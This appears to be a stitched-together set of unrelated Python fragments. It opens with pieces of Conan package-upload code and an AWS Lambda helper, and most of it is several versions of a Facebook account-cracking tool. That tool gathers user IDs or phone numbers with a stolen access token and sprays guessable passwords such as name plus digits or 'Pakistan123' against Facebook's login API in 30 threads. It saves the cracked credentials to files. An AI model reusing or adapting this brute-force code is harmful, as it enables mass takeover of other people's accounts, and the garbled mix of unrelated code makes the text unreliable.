(manifest: %s, file: %s)" % (fname, h1, h2) for fname, (h1, h2) in diff.items()) logger.error("Manifests doesn't match!\n%s" % error_msg) raise ConanException("Cannot upload corrupted package '%s'" % str(pref)) else: self._output.rewrite_line("Package integrity OK!") self._output.writeln("") def _check_recipe_date(self, ref, remote, local_manifest): try: remote_recipe_manifest, ref = self._remote_manager.get_recipe_manifest( ref, remote) except NotFoundException: return # First time uploading this package if (remote_recipe_manifest != local_manifest and remote_recipe_manifest.time > local_manifest.time): self._print_manifest_information(remote_recipe_manifest, local_manifest, ref, remote) raise ConanException( "Remote recipe is newer than local recipe: " "\n Remote date: %s\n Local date: %s" % (remote_recipe_manifest.time, local_manifest.time)) return remote_recipe_manifest def _print_manifest_information(self, remote_recipe_manifest, local_manifest, ref, remote): try: self._output.info("\n%s" % ("-" * 40)) self._output.info("Remote manifest:") self._output.info(remote_recipe_manifest) self._output.info("Local manifest:") self._output.info(local_manifest) difference = remote_recipe_manifest.difference(local_manifest) if "conanfile.py" in difference: contents = load(self._cache.package_layout(ref).conanfile()) endlines = "\\r\\n" if "\r\n" in contents else "\\n" self._output.info("Local 'conanfile.py' using '%s' line-ends" % endlines) remote_contents = self._remote_manager.get_recipe_path( ref, path="conanfile.py", remote=remote) endlines = "\\r\\n" if "\r\n" in remote_contents else "\\n" self._output.info( "Remote 'conanfile.py' using '%s' line-ends" % endlines) self._output.info("\n%s" % ("-" * 40)) except Exception as e: self._output.info("Error printing information about the diff: %s" % str(e))
def launch_concurrent_lambda_invocations(self, s3_event_list): pool = ThreadPool(processes=len(s3_event_list)) pool.map(lambda s3_event: self.launch_async_event(s3_event), s3_event_list) pool.close()
def crack_menu(): crm = raw_input("Choose Option >> ") if crm =="": print "[!] Filled Incorrectly" crack_menu() elif crm =="1": os.system('clear') print banner r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif crm =="2": os.system('clear') print banner idt = raw_input("[+] Input ID: ") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) hamza('\033[1;97m[โ] Account Name \033[1;97m:\033[1;97m '+op['name']) except KeyError: print"[!] ID Not Found!" raw_input("\nPress Enter To Back ") crack() r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif crm =="3": os.system('clear') print banner try: idlist= raw_input('[+] File Name: ') for line in open(idlist ,'r').readlines(): id.append(line.strip()) except IOError: print"[!] File Not Found." raw_input('Press Enter To Back. ') crack() elif crm =="0": menu() else: print "Filled Incorrectly" crack_menu() hamza('[โ] Total Friends: '+str(len(id))) time.sleep(0.5) hamza('[โ] The Process Has Been Started.') time.sleep(0.5) hamza('[!] To Stop Process Press CTRL Then Z') time.sleep(0.5) print (47*"-") def main(arg): global cpb,oks user = arg try: os.mkdir('save') except OSError: pass try: a = requests.get("https://graph.facebook.com/"+user+"/?access_token="+toket) b = json.loads(a.text) pass1='pubglover' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass1 oks.append(user+pass1) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass1 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass1+"\n") crt.close() checkpoint.append(user+pass1) else: pass2 = 'freefire' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass2 oks.append(user+pass2) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass2 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass2+"\n") crt.close() checkpoint.append(user+pass2) else: pass3 = 'freefirepakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass3 oks.append(user+pass3) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass3 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass3+"\n") crt.close() checkpoint.append(user+pass3) else: pass4 = b['first_name'] + '111' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass4 oks.append(user+pass4) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass4 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass4+"\n") crt.close() checkpoint.append(user+pass4) else: pass5 = b['first_name'] + '12345' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass5 oks.append(user+pass5) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass5 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass5+"\n") crt.close() checkpoint.append(user+pass5) else: pass6 = b['first_name'] + '112233' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass6 oks.append(user+pass6) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass6 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass6+"\n") crt.close() checkpoint.append(user+pass6) else: pass7 = b['first_name'] + '@@@' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + user + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if "access_token" in q: print '\x1b[1;96m[\x1b[1;96mSuccessful\x1b[1;96m]\x1b[1;96m ' + user + ' \x1b[1;96m|\x1b[1;96m ' + pass7 oks.append(user+pass7) else: if "www.facebook.com" in q["error_msg"]: print '\x1b[1;91m[\x1b[1;91mCheckpoint\x1b[1;91m]\x1b[1;91m ' + user + ' \x1b[1;91m|\x1b[1;91m ' + pass7 crt = open("save/checkpoint.txt", "a") crt.write(user+"|"+pass7+"\n") crt.close() checkpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;97m----------------------------------------------" hamza('[โ] Process Has Been Completed.') hamza('\033[1;97m[โ] Checkpoint IDS Has Been Saved.') xx = str(len(oks)) xxx = str(len(checkpoint)) print ("[โ] Total \033[1;32mOK/\033[1;97mCP : \033[1;32m"+str(len(oks))+"/\033[1;97m"+str(len(checkpoint))) print (47*"-") raw_input("\nPress Enter To Back ") menu()
def pilih_super(): peak = raw_input("\n\033[1;31;40m>>> \033[1;97m") if peak == "": print "\033[1;97mFill in correctly" pilih_super() elif peak == "1": os.system('clear') print logo jalan('\033[1;95m[โบ] Getting IDs \033[1;95m...') r = requests.get( "https://graph.facebook.com/me/friends?access_token=" + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == "2": os.system('clear') print logo idt = raw_input("\033[1;97m[*] Enter ID : ") try: jok = requests.get("https://graph.facebook.com/" + idt + "?access_token=" + toket) op = json.loads(jok.text) print "\033[1;31;40m[โบ] Name : " + op["name"] except KeyError: print "\033[1;97m[โบ] ID Not Found!" raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]") super() print "\033[1;35;40m[โบ] Getting IDs..." r = requests.get("https://graph.facebook.com/" + idt + "/friends?access_token=" + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == "3": os.system('clear') print logo brute() elif peak == "4": os.system('clear') print logo try: idlist = raw_input( '\033[1;97m[+] \033[1;97mEnter the file name \033[1;97m: \033[1;97m' ) for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '\x1b[1;35;40m[!] \x1b[1;35;40mFile not found' raw_input('\n\x1b[1;35;40m[ \x1b[1;35;40mExit \x1b[1;35;40m]') super() elif peak == "0": menu() else: print "\033[1;97mFill in correctly" pilih_super() print "\033[1;36;40m[โบ] Total IDs : \033[1;95m" + str(len(id)) jalan('\033[1;34;40m[โบ] Please Wait...') titik = ['. ', '.. ', '... '] for o in titik: print("\r\033[1;32;40m[โบ] Cloning\033[1;95m" + o), sys.stdout.flush() time.sleep(1) print "\n\033[1;95m โ \033[1;97mTo Stop Process Press CTRL+Z \033[1;95m โ" def main(arg): global cekpoint, oks user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = b['first_name'] + '1234' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;91m[!] \x1b[1;92m[OK]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass1 + '\n' oks.append(user + pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass1 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = b['first_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;94m[!] \x1b[1;92m[OK]' print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass2 + '\n' oks.append(user + pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;94m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;93m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass2 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = b['last_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;91m[!] \x1b[1;92m[OK]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass3 + '\n' oks.append(user + pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass3 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass3 + "\n") cek.close() cekpoint.append(user + pass3) else: pass4 = b['first_name'] + '1122' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;94m[!] \x1b[1;92m[OK]' print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass4 + '\n' oks.append(user + pass4) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;94m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;93m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;92m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;91m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass4 + '\n' cek = open("out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass4 + "\n") cek.close() cekpoint.append(user + pass4) else: pass5 = '786786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;97m[!] \x1b[1;92m[OK]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass5 + '\n' oks.append(user + pass5) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;97m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass5 + '\n' cek = open( "out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass5 + "\n") cek.close() cekpoint.append(user + pass5) else: pass6 = 'Pakistan' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token']) z = json.loads(x.text) print '\x1b[1;97m[!] \x1b[1;92m[OK]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass6 + '\n' oks.append(user + pass6) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;97m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass6 + '\n' cek = open( "out/super_cp.txt", "a") cek.write("ID:" + user + " Pw:" + pass6 + "\n") cek.close() cekpoint.append( user + pass6) else: pass7 = b[ 'first_name'] + '12345' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token'] ) z = json.loads( x.text) print '\x1b[1;91m[!] \x1b[1;92m[OK]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass7 + '\n' oks.append( user + pass7) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass7 + '\n' cek = open( "out/super_cp.txt", "a") cek.write( "ID:" + user + " Pw:" + pass7 + "\n") cek.close() cekpoint.append( user + pass7) else: pass8 = '000786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user ) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load( data) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token'] ) z = json.loads( x. text ) print '\x1b[1;97m[!] \x1b[1;92m[OK]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass8 + '\n' oks.append( user + pass8 ) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;97m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;97m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;97m[!] \x1b[1;97mID \x1b[1;98m : \x1b[1;97m' + user print '\x1b[1;97m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass8 + '\n' cek = open( "out/super_cp.txt", "a" ) cek.write( "ID:" + user + " Pw:" + pass8 + "\n" ) cek.close( ) cekpoint.append( user + pass8 ) else: pass9 = b[ 'first_name'] + '786' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user ) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load( data ) if 'access_token' in q: x = requests.get( "https://graph.facebook.com/" + user + "?access_token=" + q['access_token'] ) z = json.loads( x . text ) print '\x1b[1;91m[!] \x1b[1;92m[OK]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;93m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass9 + '\n' oks.append( user + pass9 ) else: if 'www.facebook.com' in q[ "error_msg"]: print '\x1b[1;91m[!] \x1b[1;96m[Checkpoint]' print '\x1b[1;92m[!] \x1b[1;97mName \x1b[1;97m : \x1b[1;97m' + b[ 'name'] print '\x1b[1;94m[!] \x1b[1;97mID \x1b[1;97m : \x1b[1;97m' + user print '\x1b[1;94m[!] \x1b[1;91mPassword \x1b[1;97m: \x1b[1;97m' + pass9 + '\n' cek = open( "out/super_cp.txt", "a" ) cek.write( "ID:" + user + " Pw:" + pass9 + "\n" ) cek.close( ) cekpoint.append( user + pass9 ) except: pass p = ThreadPool(30) p.map(main, id) print '\033[1;31;40m[โ] Process Has Been Completed\033[1;95m....' print "\033[1;32;40m[+] Total OK/\033[1;95mCP \033[1;97m: \033[1;95m" + str( len(oks)) + "\033[1;31;40m/\033[1;36;40m" + str(len(cekpoint)) print '\033[1;34;40m[+] CP File Has Been Saved : save/cp.txt' print """ \033[1;31;40m โโโโโโโโโโโโโโโโโโโโโโโโโโโบโโโโโโโโโโโโโโโโโโโโโโโโโ """ raw_input("\n\033[1;95m[\033[1;95mExit\033[1;95m]") super()
def action(): peak = raw_input('\n\033[1;97mCHOOSE:\033[1;97m') if peak =='': print '[!] Fill In Correctly' action() elif peak =="1": os.system("clear") print logo2 print "Enter any Pakistan Mobile number code for cloning"+'\n' print 'Enter any code 1 to 49' try: c = raw_input("\033[1;97mCHOOSE : ") k="03" idlist = ('.txt') for line in open(idlist,"r").readlines(): id.append(line.strip()) except IOError: print ("[!] File Not Found") raw_input("\n[ Back ]") blackmafiax() elif peak =='0': login() else: print '[!] Fill In Correctly' action() print 50* '\033[1;94m-' xxx = str(len(id)) jalan('\033[1;96mโฌPROGRAMED BY BILALO DAJAL ') jalan("\033[1;96mโฌโฌDOCTOR OF COMPUTERS AND LAPTOPS") jalan('\033[1;96mโฌโฌโฌPROGRAMER') jalan('\033[1;96mโฌโฌโฌโฌWEB DEVOLPR') jalan("\033[1;96mโฌโฌโฌโฌโฌHACKER") jalan("\033[1;96mโฌโฌโฌโฌโฌโฌTRICKX MASTER") jalan('\033[1;96mโฌโฌโฌโฌโฌโฌโฌPUKHTOON') jalan ('\033[1;96m Total Number of IDs: '+xxx) jalan ('\033[1;95mCode you choosed: '+c) jalan ("\033[1;94mWait A While Start Cloning...") jalan ("\033[1;93mTo Stop Process Press Ctrl+z") print 50* '\033[1;97m-' def main(arg): global cpb,oks user = arg try: os.mkdir('save') except OSError: pass try: pass1 = user data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(done) ' + k + c + user + ' | ' + pass1 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass1+'\n') okb.close() oks.append(c+user+pass1) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(7Days) ' + k + c + user + ' | ' + pass1 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass1+'\n') cps.close() cpb.append(c+user+pass1) else: pass2 = k + c + user data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Done) ' + k + c + user + ' | ' + pass2 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass2+'\n') okb.close() oks.append(c+user+pass2) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(7days) ' + k + c + user + ' | ' + pass2 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass2+'\n') cps.close() cpb.append(c+user+pass2) else: pass3="Pakistan123" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Done) ' + k + c + user + ' | ' + pass3 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass3+'\n') okb.close() oks.append(c+user+pass3) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(7days) ' + k + c + user + ' | ' + pass3 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass3+'\n') cps.close() cpb.append(c+user+pass3) else: pass4="Pakistan" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(done) ' + k + c + user + ' | ' + pass4 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass4+'\n') okb.close() oks.append(c+user+pass4) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(7days) ' + k + c + user + ' | ' + pass4 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass4+'\n') cps.close() cpb.append(c+user+pass4) else: pass5="786786" data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' +k+c+user+ '&locale=en_US&password='******'&sdk=ios&generate_session_cookies=1&sig=3f555f98fb61fcd7aa0c44f58f522efm') q = json.load(data) if 'access_token' in q: print '\x1b[1;93m(Done) ' + k + c + user + ' | ' + pass5 okb = open('save/cloned.txt', 'a') okb.write(k+c+user+pass5+'\n') okb.close() oks.append(c+user+pass5) else: if 'www.facebook.com' in q['error_msg']: print '\033[1;97m(7days) ' + k + c + user + ' | ' + pass5 cps = open('save/cloned.txt', 'a') cps.write(k+c+user+pass5+'\n') cps.close() cpb.append(c+user+pass5) except: pass p = ThreadPool(30) p.map(main, id) print 50* '\033[1;91m-' print 'Process Has Been Completed ...' print 'Total Online/Offline : '+str(len(oks))+'/'+str(len(cpb)) print('Cloned Accounts Has Been Saved : save/cloned.txt') jalan("Note : Your CP account Will Open after 7 to 10 days") print '' print """ 